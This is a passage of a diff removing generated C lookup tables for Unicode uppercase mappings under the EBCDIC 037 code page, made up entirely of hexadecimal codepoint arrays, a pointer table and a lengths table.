-static const unsigned int UC_AUX_TABLE_7[] = { - 0xC8, - 0x331 -}; - -static const unsigned int UC_AUX_TABLE_8[] = { - 0xE3, - 0x308 -}; - -static const unsigned int UC_AUX_TABLE_9[] = { - 0xE6, - 0x30A -}; - -static const unsigned int UC_AUX_TABLE_10[] = { - 0xE8, - 0x30A -}; - -static const unsigned int UC_AUX_TABLE_11[] = { - 0xC1, - 0x2BE -}; - -static const unsigned int UC_AUX_TABLE_12[] = { - 0x3A5, - 0x313 -}; - -static const unsigned int UC_AUX_TABLE_13[] = { - 0x3A5, - 0x313, - 0x300 -}; - -static const unsigned int UC_AUX_TABLE_14[] = { - 0x3A5, - 0x313, - 0x301 -}; - -static const unsigned int UC_AUX_TABLE_15[] = { - 0x3A5, - 0x313, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_16[] = { - 0x1F08, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_17[] = { - 0x1F09, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_18[] = { - 0x1F0A, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_19[] = { - 0x1F0B, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_20[] = { - 0x1F0C, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_21[] = { - 0x1F0D, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_22[] = { - 0x1F0E, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_23[] = { - 0x1F0F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_24[] = { - 0x1F28, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_25[] = { - 0x1F29, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_26[] = { - 0x1F2A, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_27[] = { - 0x1F2B, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_28[] = { - 0x1F2C, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_29[] = { - 0x1F2D, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_30[] = { - 0x1F2E, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_31[] = { - 0x1F2F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_32[] = { - 0x1F68, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_33[] = { - 0x1F69, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_34[] = { - 0x1F6A, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_35[] = { - 0x1F6B, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_36[] = { - 0x1F6C, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_37[] = { - 0x1F6D, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_38[] = { - 0x1F6E, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_39[] = { - 0x1F6F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_40[] = { - 0x1FBA, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_41[] = { - 0x391, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_42[] = { - 0x386, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_43[] = { - 0x391, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_44[] = { - 0x391, - 0x342, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_45[] = { - 0x1FCA, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_46[] = { - 0x397, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_47[] = { - 0x389, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_48[] = { - 0x397, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_49[] = { - 0x397, - 0x342, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_50[] = { - 0x399, - 0x308, - 0x300 -}; - -static const unsigned int UC_AUX_TABLE_51[] = { - 0x399, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_52[] = { - 0x399, - 0x308, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_53[] = { - 0x3A5, - 0x308, - 0x300 -}; - -static const unsigned int UC_AUX_TABLE_54[] = { - 0x3A1, - 0x313 -}; - -static const unsigned int UC_AUX_TABLE_55[] = { - 0x3A5, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_56[] = { - 0x3A5, - 0x308, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_57[] = { - 0x1FFA, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_58[] = { - 0x3A9, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_59[] = { - 0x38F, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_60[] = { - 0x3A9, - 0x342 -}; - -static const unsigned int UC_AUX_TABLE_61[] = { - 0x3A9, - 0x342, - 0x399 -}; - -static const unsigned int UC_AUX_TABLE_62[] = { - 0xC6, - 0xC6 -}; - -static const unsigned int UC_AUX_TABLE_63[] = { - 0xC6, - 0xC9 -}; - -static const unsigned int UC_AUX_TABLE_64[] = { - 0xC6, - 0xD3 -}; - -static const unsigned int UC_AUX_TABLE_65[] = { - 0xC6, - 0xC6, - 0xC9 -}; - -static const unsigned int UC_AUX_TABLE_66[] = { - 0xC6, - 0xC6, - 0xD3 -}; - -static const unsigned int UC_AUX_TABLE_67[] = { - 0xE2, - 0xE3 -}; - -static const unsigned int UC_AUX_TABLE_68[] = { - 0x544, - 0x546 -}; - -static const unsigned int UC_AUX_TABLE_69[] = { - 0x544, - 0x535 -}; - -static const unsigned int UC_AUX_TABLE_70[] = { - 0x544, - 0x53B -}; - -static const unsigned int UC_AUX_TABLE_71[] = { - 0x54E, - 0x546 -}; - -static const unsigned int UC_AUX_TABLE_72[] = { - 0x544, - 0x53D -}; - -static const unsigned int * const UC_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - UC_AUX_TABLE_1, - UC_AUX_TABLE_2, - UC_AUX_TABLE_3, - UC_AUX_TABLE_4, - UC_AUX_TABLE_5, - UC_AUX_TABLE_6, - UC_AUX_TABLE_7, - UC_AUX_TABLE_8, - UC_AUX_TABLE_9, - UC_AUX_TABLE_10, - UC_AUX_TABLE_11, - UC_AUX_TABLE_12, - UC_AUX_TABLE_13, - UC_AUX_TABLE_14, - UC_AUX_TABLE_15, - UC_AUX_TABLE_16, - UC_AUX_TABLE_17, - UC_AUX_TABLE_18, - UC_AUX_TABLE_19, - UC_AUX_TABLE_20, - UC_AUX_TABLE_21, - UC_AUX_TABLE_22, - UC_AUX_TABLE_23, - UC_AUX_TABLE_24, - UC_AUX_TABLE_25, - UC_AUX_TABLE_26, - UC_AUX_TABLE_27, - UC_AUX_TABLE_28, - UC_AUX_TABLE_29, - UC_AUX_TABLE_30, - UC_AUX_TABLE_31, - UC_AUX_TABLE_32, - UC_AUX_TABLE_33, - UC_AUX_TABLE_34, - UC_AUX_TABLE_35, - UC_AUX_TABLE_36, - UC_AUX_TABLE_37, - UC_AUX_TABLE_38, - UC_AUX_TABLE_39, - UC_AUX_TABLE_40, - UC_AUX_TABLE_41, - UC_AUX_TABLE_42, - UC_AUX_TABLE_43, - UC_AUX_TABLE_44, - UC_AUX_TABLE_45, - UC_AUX_TABLE_46, - UC_AUX_TABLE_47, - UC_AUX_TABLE_48, - UC_AUX_TABLE_49, - UC_AUX_TABLE_50, - UC_AUX_TABLE_51, - UC_AUX_TABLE_52, - UC_AUX_TABLE_53, - UC_AUX_TABLE_54, - UC_AUX_TABLE_55, - UC_AUX_TABLE_56, - UC_AUX_TABLE_57, - UC_AUX_TABLE_58, - UC_AUX_TABLE_59, - UC_AUX_TABLE_60, - UC_AUX_TABLE_61, - UC_AUX_TABLE_62, - UC_AUX_TABLE_63, - UC_AUX_TABLE_64, - UC_AUX_TABLE_65, - UC_AUX_TABLE_66, - UC_AUX_TABLE_67, - UC_AUX_TABLE_68, - UC_AUX_TABLE_69, - UC_AUX_TABLE_70, - UC_AUX_TABLE_71, - UC_AUX_TABLE_72 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 UC_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* UC_AUX_TABLE_1 */, - 2 /* UC_AUX_TABLE_2 */, - 2 /* UC_AUX_TABLE_3 */, - 3 /* UC_AUX_TABLE_4 */, - 3 /* UC_AUX_TABLE_5 */, - 2 /* UC_AUX_TABLE_6 */, - 2 /* UC_AUX_TABLE_7 */, - 2 /* UC_AUX_TABLE_8 */, - 2 /* UC_AUX_TABLE_9 */, - 2 /* UC_AUX_TABLE_10 */, - 2 /* UC_AUX_TABLE_11 */, - 2 /* UC_AUX_TABLE_12 */, - 3 /* UC_AUX_TABLE_13 */, - 3 /* UC_AUX_TABLE_14 */, - 3 /* UC_AUX_TABLE_15 */, - 2 /* UC_AUX_TABLE_16 */, - 2 /* UC_AUX_TABLE_17 */, - 2 /* UC_AUX_TABLE_18 */, - 2 /* UC_AUX_TABLE_19 */, - 2 /* UC_AUX_TABLE_20 */, - 2 /* UC_AUX_TABLE_21 */, - 2 /* UC_AUX_TABLE_22 */, - 2 /* UC_AUX_TABLE_23 */, - 2 /* UC_AUX_TABLE_24 */, - 2 /* UC_AUX_TABLE_25 */, - 2 /* UC_AUX_TABLE_26 */, - 2 /* UC_AUX_TABLE_27 */, - 2 /* UC_AUX_TABLE_28 */, - 2 /* UC_AUX_TABLE_29 */, - 2 /* UC_AUX_TABLE_30 */, - 2 /* UC_AUX_TABLE_31 */, - 2 /* UC_AUX_TABLE_32 */, - 2 /* UC_AUX_TABLE_33 */, - 2 /* UC_AUX_TABLE_34 */, - 2 /* UC_AUX_TABLE_35 */, - 2 /* UC_AUX_TABLE_36 */, - 2 /* UC_AUX_TABLE_37 */, - 2 /* UC_AUX_TABLE_38 */, - 2 /* UC_AUX_TABLE_39 */, - 2 /* UC_AUX_TABLE_40 */, - 2 /* UC_AUX_TABLE_41 */, - 2 /* UC_AUX_TABLE_42 */, - 2 /* UC_AUX_TABLE_43 */, - 3 /* UC_AUX_TABLE_44 */, - 2 /* UC_AUX_TABLE_45 */, - 2 /* UC_AUX_TABLE_46 */, - 2 /* UC_AUX_TABLE_47 */, - 2 /* UC_AUX_TABLE_48 */, - 3 /* UC_AUX_TABLE_49 */, - 3 /* UC_AUX_TABLE_50 */, - 2 /* UC_AUX_TABLE_51 */, - 3 /* UC_AUX_TABLE_52 */, - 3 /* UC_AUX_TABLE_53 */, - 2 /* UC_AUX_TABLE_54 */, - 2 /* UC_AUX_TABLE_55 */, - 3 /* UC_AUX_TABLE_56 */, - 2 /* UC_AUX_TABLE_57 */, - 2 /* UC_AUX_TABLE_58 */, - 2 /* UC_AUX_TABLE_59 */, - 2 /* UC_AUX_TABLE_60 */, - 3 /* UC_AUX_TABLE_61 */, - 2 /* UC_AUX_TABLE_62 */, - 2 /* UC_AUX_TABLE_63 */, - 2 /* UC_AUX_TABLE_64 */, - 3 /* UC_AUX_TABLE_65 */, - 3 /* UC_AUX_TABLE_66 */, - 2 /* UC_AUX_TABLE_67 */, - 2 /* UC_AUX_TABLE_68 */, - 2 /* UC_AUX_TABLE_69 */, - 2 /* UC_AUX_TABLE_70 */, - 2 /* UC_AUX_TABLE_71 */, - 2 /* UC_AUX_TABLE_72 */ -}; - -static const int Uppercase_Mapping_invmap[] = { /* for EBCDIC 037 */ - 0, - 0x62, - 0, - 0x71, - UC_use_AUX_TABLE_1, - 0, - 0x80, - 0, - 0xC1, - 0, - 0xAC, - 0, - 0xD1, - 0, - 0x9E, - 0, - 0x39C, - 0, - 0xE2, - 0, - 0xEB, - 0, - 0xFB, - 0x178, - 0, - 0x100, - 0, - 0x102, - 0, - 0x104, - 0, - 0x106, - 0, - 0x108, - 0, - 0x10A, - 0, - 0x10C, - 0, - 0x10E, - 0, - 0x110, - 0, - 0x112, - 0, - 0x114, - 0, - 0x116, - 0, - 0x118, - 0, - 0x11A, - 0, - 0x11C, - 0, - 0x11E, - 0, - 0x120, - 0, - 0x122, - 0, - 0x124, - 0, - 0x126, - 0, - 0x128, - 0, - 0x12A, - 0, - 0x12C, - 0, - 0x12E, - 0, - 0xC9, - 0, - 0x132, - 0, - 0x134, - 0, - 0x136, - 0, - 0x139, - 0, - 0x13B, - 0, - 0x13D, - 0, - 0x13F, - 0, - 0x141, - 0, - 0x143, - 0, - 0x145, - 0, - 0x147, - UC_use_AUX_TABLE_2, - 0, - 0x14A, - 0, - 0x14C, - 0, - 0x14E, - 0, - 0x150, - 0, - 0x152, - 0, - 0x154, - 0, - 0x156, - 0, - 0x158, - 0, - 0x15A, - 0, - 0x15C, - 0, - 0x15E, - 0, - 0x160, - 0, - 0x162, - 0, - 0x164, - 0, - 0x166, - 0, - 0x168, - 0, - 0x16A, - 0, - 0x16C, - 0, - 0x16E, - 0, - 0x170, - 0, - 0x172, - 0, - 0x174, - 0, - 0x176, - 0, - 0x179, - 0, - 0x17B, - 0, - 0x17D, - 0xE2, - 0x243, - 0, - 0x182, - 0, - 0x184, - 0, - 0x187, - 0, - 0x18B, - 0, - 0x191, - 0, - 0x1F6, - 0, - 0x198, - 0x23D, - 0, - 0x220, - 0, - 0x1A0, - 0, - 0x1A2, - 0, - 0x1A4, - 0, - 0x1A7, - 0, - 0x1AC, - 0, - 0x1AF, - 0, - 0x1B3, - 0, - 0x1B5, - 0, - 0x1B8, - 0, - 0x1BC, - 0, - 0x1F7, - 0, - 0x1C4, - 0x1C4, - 0, - 0x1C7, - 0x1C7, - 0, - 0x1CA, - 0x1CA, - 0, - 0x1CD, - 0, - 0x1CF, - 0, - 0x1D1, - 0, - 0x1D3, - 0, - 0x1D5, - 0, - 0x1D7, - 0, - 0x1D9, - 0, - 0x1DB, - 0x18E, - 0, - 0x1DE, - 0, - 0x1E0, - 0, - 0x1E2, - 0, - 0x1E4, - 0, - 0x1E6, - 0, - 0x1E8, - 0, - 0x1EA, - 0, - 0x1EC, - 0, - 0x1EE, - UC_use_AUX_TABLE_3, - 0, - 0x1F1, - 0x1F1, - 0, - 0x1F4, - 0, - 0x1F8, - 0, - 0x1FA, - 0, - 0x1FC, - 0, - 0x1FE, - 0, - 0x200, - 0, - 0x202, - 0, - 0x204, - 0, - 0x206, - 0, - 0x208, - 0, - 0x20A, - 0, - 0x20C, - 0, - 0x20E, - 0, - 0x210, - 0, - 0x212, - 0, - 0x214, - 0, - 0x216, - 0, - 0x218, - 0, - 0x21A, - 0, - 0x21C, - 0, - 0x21E, - 0, - 0x222, - 0, - 0x224, - 0, - 0x226, - 0, - 0x228, - 0, - 0x22A, - 0, - 0x22C, - 0, - 0x22E, - 0, - 0x230, - 0, - 0x232, - 0, - 0x23B, - 0, - 0x2C7E, - 0, - 0x241, - 0, - 0x246, - 0, - 0x248, - 0, - 0x24A, - 0, - 0x24C, - 0, - 0x24E, - 0x2C6F, - 0x2C6D, - 0x2C70, - 0x181, - 0x186, - 0, - 0x189, - 0, - 0x18F, - 0, - 0x190, - 0xA7AB, - 0, - 0x193, - 0xA7AC, - 0, - 0x194, - 0, - 0xA78D, - 0xA7AA, - 0, - 0x197, - 0x196, - 0xA7AE, - 0x2C62, - 0xA7AD, - 0, - 0x19C, - 0, - 0x2C6E, - 0x19D, - 0, - 0x19F, - 0, - 0x2C64, - 0, - 0x1A6, - 0, - 0x1A9, - 0, - 0xA7B1, - 0x1AE, - 0x244, - 0x1B1, - 0x245, - 0, - 0x1B7, - 0, - 0xA7B2, - 0xA7B0, - 0, - 0x399, - 0, - 0x370, - 0, - 0x372, - 0, - 0x376, - 0, - 0x3FD, - 0, - UC_use_AUX_TABLE_4, - 0, - 0x386, - 0x388, - UC_use_AUX_TABLE_5, - 0x391, - 0x3A3, - 0x3A3, - 0x38C, - 0x38E, - 0, - 0x392, - 0x398, - 0, - 0x3A6, - 0x3A0, - 0x3CF, - 0, - 0x3D8, - 0, - 0x3DA, - 0, - 0x3DC, - 0, - 0x3DE, - 0, - 0x3E0, - 0, - 0x3E2, - 0, - 0x3E4, - 0, - 0x3E6, - 0, - 0x3E8, - 0, - 0x3EA, - 0, - 0x3EC, - 0, - 0x3EE, - 0x39A, - 0x3A1, - 0x3F9, - 0x37F, - 0, - 0x395, - 0, - 0x3F7, - 0, - 0x3FA, - 0, - 0x410, - 0x400, - 0, - 0x460, - 0, - 0x462, - 0, - 0x464, - 0, - 0x466, - 0, - 0x468, - 0, - 0x46A, - 0, - 0x46C, - 0, - 0x46E, - 0, - 0x470, - 0, - 0x472, - 0, - 0x474, - 0, - 0x476, - 0, - 0x478, - 0, - 0x47A, - 0, - 0x47C, - 0, - 0x47E, - 0, - 0x480, - 0, - 0x48A, - 0, - 0x48C, - 0, - 0x48E, - 0, - 0x490, - 0, - 0x492, - 0, - 0x494, - 0, - 0x496, - 0, - 0x498, - 0, - 0x49A, - 0, - 0x49C, - 0, - 0x49E, - 0, - 0x4A0, - 0, - 0x4A2, - 0, - 0x4A4, - 0, - 0x4A6, - 0, - 0x4A8, - 0, - 0x4AA, - 0, - 0x4AC, - 0, - 0x4AE, - 0, - 0x4B0, - 0, - 0x4B2, - 0, - 0x4B4, - 0, - 0x4B6, - 0, - 0x4B8, - 0, - 0x4BA, - 0, - 0x4BC, - 0, - 0x4BE, - 0, - 0x4C1, - 0, - 0x4C3, - 0, - 0x4C5, - 0, - 0x4C7, - 0, - 0x4C9, - 0, - 0x4CB, - 0, - 0x4CD, - 0x4C0, - 0, - 0x4D0, - 0, - 0x4D2, - 0, - 0x4D4, - 0, - 0x4D6, - 0, - 0x4D8, - 0, - 0x4DA, - 0, - 0x4DC, - 0, - 0x4DE, - 0, - 0x4E0, - 0, - 0x4E2, - 0, - 0x4E4, - 0, - 0x4E6, - 0, - 0x4E8, - 0, - 0x4EA, - 0, - 0x4EC, - 0, - 0x4EE, - 0, - 0x4F0, - 0, - 0x4F2, - 0, - 0x4F4, - 0, - 0x4F6, - 0, - 0x4F8, - 0, - 0x4FA, - 0, - 0x4FC, - 0, - 0x4FE, - 0, - 0x500, - 0, - 0x502, - 0, - 0x504, - 0, - 0x506, - 0, - 0x508, - 0, - 0x50A, - 0, - 0x50C, - 0, - 0x50E, - 0, - 0x510, - 0, - 0x512, - 0, - 0x514, - 0, - 0x516, - 0, - 0x518, - 0, - 0x51A, - 0, - 0x51C, - 0, - 0x51E, - 0, - 0x520, - 0, - 0x522, - 0, - 0x524, - 0, - 0x526, - 0, - 0x528, - 0, - 0x52A, - 0, - 0x52C, - 0, - 0x52E, - 0, - 0x531, - UC_use_AUX_TABLE_6, - 0, - 0x13F0, - 0, - 0x412, - 0x414, - 0x41E, - 0x421, - 0x422, - 0x42A, - 0x462, - 0xA64A, - 0, - 0xA77D, - 0, - 0x2C63, - 0, - 0x1E00, - 0, - 0x1E02, - 0, - 0x1E04, - 0, - 0x1E06, - 0, - 0x1E08, - 0, - 0x1E0A, - 0, - 0x1E0C, - 0, - 0x1E0E, - 0, - 0x1E10, - 0, - 0x1E12, - 0, - 0x1E14, - 0, - 0x1E16, - 0, - 0x1E18, - 0, - 0x1E1A, - 0, - 0x1E1C, - 0, - 0x1E1E, - 0, - 0x1E20, - 0, - 0x1E22, - 0, - 0x1E24, - 0, - 0x1E26, - 0, - 0x1E28, - 0, - 0x1E2A, - 0, - 0x1E2C, - 0, - 0x1E2E, - 0, - 0x1E30, - 0, - 0x1E32, - 0, - 0x1E34, - 0, - 0x1E36, - 0, - 0x1E38, - 0, - 0x1E3A, - 0, - 0x1E3C, - 0, - 0x1E3E, - 0, - 0x1E40, - 0, - 0x1E42, - 0, - 0x1E44, - 0, - 0x1E46, - 0, - 0x1E48, - 0, - 0x1E4A, - 0, - 0x1E4C, - 0, - 0x1E4E, - 0, - 0x1E50, - 0, - 0x1E52, - 0, - 0x1E54, - 0, - 0x1E56, - 0, - 0x1E58, - 0, - 0x1E5A, - 0, - 0x1E5C, - 0, - 0x1E5E, - 0, - 0x1E60, - 0, - 0x1E62, - 0, - 0x1E64, - 0, - 0x1E66, - 0, - 0x1E68, - 0, - 0x1E6A, - 0, - 0x1E6C, - 0, - 0x1E6E, - 0, - 0x1E70, - 0, - 0x1E72, - 0, - 0x1E74, - 0, - 0x1E76, - 0, - 0x1E78, - 0, - 0x1E7A, - 0, - 0x1E7C, - 0, - 0x1E7E, - 0, - 0x1E80, - 0, - 0x1E82, - 0, - 0x1E84, - 0, - 0x1E86, - 0, - 0x1E88, - 0, - 0x1E8A, - 0, - 0x1E8C, - 0, - 0x1E8E, - 0, - 0x1E90, - 0, - 0x1E92, - 0, - 0x1E94, - UC_use_AUX_TABLE_7, - UC_use_AUX_TABLE_8, - UC_use_AUX_TABLE_9, - UC_use_AUX_TABLE_10, - UC_use_AUX_TABLE_11, - 0x1E60, - 0, - 0x1EA0, - 0, - 0x1EA2, - 0, - 0x1EA4, - 0, - 0x1EA6, - 0, - 0x1EA8, - 0, - 0x1EAA, - 0, - 0x1EAC, - 0, - 0x1EAE, - 0, - 0x1EB0, - 0, - 0x1EB2, - 0, - 0x1EB4, - 0, - 0x1EB6, - 0, - 0x1EB8, - 0, - 0x1EBA, - 0, - 0x1EBC, - 0, - 0x1EBE, - 0, - 0x1EC0, - 0, - 0x1EC2, - 0, - 0x1EC4, - 0, - 0x1EC6, - 0, - 0x1EC8, - 0, - 0x1ECA, - 0, - 0x1ECC, - 0, - 0x1ECE, - 0, - 0x1ED0, - 0, - 0x1ED2, - 0, - 0x1ED4, - 0, - 0x1ED6, - 0, - 0x1ED8, - 0, - 0x1EDA, - 0, - 0x1EDC, - 0, - 0x1EDE, - 0, - 0x1EE0, - 0, - 0x1EE2, - 0, - 0x1EE4, - 0, - 0x1EE6, - 0, - 0x1EE8, - 0, - 0x1EEA, - 0, - 0x1EEC, - 0, - 0x1EEE, - 0, - 0x1EF0, - 0, - 0x1EF2, - 0, - 0x1EF4, - 0, - 0x1EF6, - 0, - 0x1EF8, - 0, - 0x1EFA, - 0, - 0x1EFC, - 0, - 0x1EFE, - 0x1F08, - 0, - 0x1F18, - 0, - 0x1F28, - 0, - 0x1F38, - 0, - 0x1F48, - 0, - UC_use_AUX_TABLE_12, - 0x1F59, - UC_use_AUX_TABLE_13, - 0x1F5B, - UC_use_AUX_TABLE_14, - 0x1F5D, - UC_use_AUX_TABLE_15, - 0x1F5F, - 0, - 0x1F68, - 0, - 0x1FBA, - 0x1FC8, - 0x1FDA, - 0x1FF8, - 0x1FEA, - 0x1FFA, - 0, - UC_use_AUX_TABLE_16, - UC_use_AUX_TABLE_17, - UC_use_AUX_TABLE_18, - UC_use_AUX_TABLE_19, - UC_use_AUX_TABLE_20, - UC_use_AUX_TABLE_21, - UC_use_AUX_TABLE_22, - UC_use_AUX_TABLE_23, - UC_use_AUX_TABLE_16, - UC_use_AUX_TABLE_17, - UC_use_AUX_TABLE_18, - UC_use_AUX_TABLE_19, - UC_use_AUX_TABLE_20, - UC_use_AUX_TABLE_21, - UC_use_AUX_TABLE_22, - UC_use_AUX_TABLE_23, - UC_use_AUX_TABLE_24, - UC_use_AUX_TABLE_25, - UC_use_AUX_TABLE_26, - UC_use_AUX_TABLE_27, - UC_use_AUX_TABLE_28, - UC_use_AUX_TABLE_29, - UC_use_AUX_TABLE_30, - UC_use_AUX_TABLE_31, - UC_use_AUX_TABLE_24, - UC_use_AUX_TABLE_25, - UC_use_AUX_TABLE_26, - UC_use_AUX_TABLE_27, - UC_use_AUX_TABLE_28, - UC_use_AUX_TABLE_29, - UC_use_AUX_TABLE_30, - UC_use_AUX_TABLE_31, - UC_use_AUX_TABLE_32, - UC_use_AUX_TABLE_33, - UC_use_AUX_TABLE_34, - UC_use_AUX_TABLE_35, - UC_use_AUX_TABLE_36, - UC_use_AUX_TABLE_37, - UC_use_AUX_TABLE_38, - UC_use_AUX_TABLE_39, - UC_use_AUX_TABLE_32, - UC_use_AUX_TABLE_33, - UC_use_AUX_TABLE_34, - UC_use_AUX_TABLE_35, - UC_use_AUX_TABLE_36, - UC_use_AUX_TABLE_37, - UC_use_AUX_TABLE_38, - UC_use_AUX_TABLE_39, - 0x1FB8, - UC_use_AUX_TABLE_40, - UC_use_AUX_TABLE_41, - UC_use_AUX_TABLE_42, - 0, - UC_use_AUX_TABLE_43, - UC_use_AUX_TABLE_44, - 0, - UC_use_AUX_TABLE_41, - 0, - 0x399, - 0, - UC_use_AUX_TABLE_45, - UC_use_AUX_TABLE_46, - UC_use_AUX_TABLE_47, - 0, - UC_use_AUX_TABLE_48, - UC_use_AUX_TABLE_49, - 0, - UC_use_AUX_TABLE_46, - 0, - 0x1FD8, - UC_use_AUX_TABLE_50, - UC_use_AUX_TABLE_4, - 0, - UC_use_AUX_TABLE_51, - UC_use_AUX_TABLE_52, - 0, - 0x1FE8, - UC_use_AUX_TABLE_53, - UC_use_AUX_TABLE_5, - UC_use_AUX_TABLE_54, - 0x1FEC, - UC_use_AUX_TABLE_55, - UC_use_AUX_TABLE_56, - 0, - UC_use_AUX_TABLE_57, - UC_use_AUX_TABLE_58, - UC_use_AUX_TABLE_59, - 0, - UC_use_AUX_TABLE_60, - UC_use_AUX_TABLE_61, - 0, - UC_use_AUX_TABLE_58, - 0, - 0x2132, - 0, - 0x2160, - 0, - 0x2183, - 0, - 0x24B6, - 0, - 0x2C00, - 0, - 0x2C60, - 0, - 0x23A, - 0x23E, - 0, - 0x2C67, - 0, - 0x2C69, - 0, - 0x2C6B, - 0, - 0x2C72, - 0, - 0x2C75, - 0, - 0x2C80, - 0, - 0x2C82, - 0, - 0x2C84, - 0, - 0x2C86, - 0, - 0x2C88, - 0, - 0x2C8A, - 0, - 0x2C8C, - 0, - 0x2C8E, - 0, - 0x2C90, - 0, - 0x2C92, - 0, - 0x2C94, - 0, - 0x2C96, - 0, - 0x2C98, - 0, - 0x2C9A, - 0, - 0x2C9C, - 0, - 0x2C9E, - 0, - 0x2CA0, - 0, - 0x2CA2, - 0, - 0x2CA4, - 0, - 0x2CA6, - 0, - 0x2CA8, - 0, - 0x2CAA, - 0, - 0x2CAC, - 0, - 0x2CAE, - 0, - 0x2CB0, - 0, - 0x2CB2, - 0, - 0x2CB4, - 0, - 0x2CB6, - 0, - 0x2CB8, - 0, - 0x2CBA, - 0, - 0x2CBC, - 0, - 0x2CBE, - 0, - 0x2CC0, - 0, - 0x2CC2, - 0, - 0x2CC4, - 0, - 0x2CC6, - 0, - 0x2CC8, - 0, - 0x2CCA, - 0, - 0x2CCC, - 0, - 0x2CCE, - 0, - 0x2CD0, - 0, - 0x2CD2, - 0, - 0x2CD4, - 0, - 0x2CD6, - 0, - 0x2CD8, - 0, - 0x2CDA, - 0, - 0x2CDC, - 0, - 0x2CDE, - 0, - 0x2CE0, - 0, - 0x2CE2, - 0, - 0x2CEB, - 0, - 0x2CED, - 0, - 0x2CF2, - 0, - 0x10A0, - 0, - 0x10C7, - 0, - 0x10CD, - 0, - 0xA640, - 0, - 0xA642, - 0, - 0xA644, - 0, - 0xA646, - 0, - 0xA648, - 0, - 0xA64A, - 0, - 0xA64C, - 0, - 0xA64E, - 0, - 0xA650, - 0, - 0xA652, - 0, - 0xA654, - 0, - 0xA656, - 0, - 0xA658, - 0, - 0xA65A, - 0, - 0xA65C, - 0, - 0xA65E, - 0, - 0xA660, - 0, - 0xA662, - 0, - 0xA664, - 0, - 0xA666, - 0, - 0xA668, - 0, - 0xA66A, - 0, - 0xA66C, - 0, - 0xA680, - 0, - 0xA682, - 0, - 0xA684, - 0, - 0xA686, - 0, - 0xA688, - 0, - 0xA68A, - 0, - 0xA68C, - 0, - 0xA68E, - 0, - 0xA690, - 0, - 0xA692, - 0, - 0xA694, - 0, - 0xA696, - 0, - 0xA698, - 0, - 0xA69A, - 0, - 0xA722, - 0, - 0xA724, - 0, - 0xA726, - 0, - 0xA728, - 0, - 0xA72A, - 0, - 0xA72C, - 0, - 0xA72E, - 0, - 0xA732, - 0, - 0xA734, - 0, - 0xA736, - 0, - 0xA738, - 0, - 0xA73A, - 0, - 0xA73C, - 0, - 0xA73E, - 0, - 0xA740, - 0, - 0xA742, - 0, - 0xA744, - 0, - 0xA746, - 0, - 0xA748, - 0, - 0xA74A, - 0, - 0xA74C, - 0, - 0xA74E, - 0, - 0xA750, - 0, - 0xA752, - 0, - 0xA754, - 0, - 0xA756, - 0, - 0xA758, - 0, - 0xA75A, - 0, - 0xA75C, - 0, - 0xA75E, - 0, - 0xA760, - 0, - 0xA762, - 0, - 0xA764, - 0, - 0xA766, - 0, - 0xA768, - 0, - 0xA76A, - 0, - 0xA76C, - 0, - 0xA76E, - 0, - 0xA779, - 0, - 0xA77B, - 0, - 0xA77E, - 0, - 0xA780, - 0, - 0xA782, - 0, - 0xA784, - 0, - 0xA786, - 0, - 0xA78B, - 0, - 0xA790, - 0, - 0xA792, - 0, - 0xA796, - 0, - 0xA798, - 0, - 0xA79A, - 0, - 0xA79C, - 0, - 0xA79E, - 0, - 0xA7A0, - 0, - 0xA7A2, - 0, - 0xA7A4, - 0, - 0xA7A6, - 0, - 0xA7A8, - 0, - 0xA7B4, - 0, - 0xA7B6, - 0, - 0xA7B3, - 0, - 0x13A0, - 0, - UC_use_AUX_TABLE_62, - UC_use_AUX_TABLE_63, - UC_use_AUX_TABLE_64, - UC_use_AUX_TABLE_65, - UC_use_AUX_TABLE_66, - UC_use_AUX_TABLE_67, - 0, - UC_use_AUX_TABLE_68, - UC_use_AUX_TABLE_69, - UC_use_AUX_TABLE_70, - UC_use_AUX_TABLE_71, - UC_use_AUX_TABLE_72, - 0, - 0xFF21, - 0, - 0x10400, - 0, - 0x104B0, - 0, - 0x10C80, - 0, - 0x118A0, - 0, - 0x1E900, - 0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - 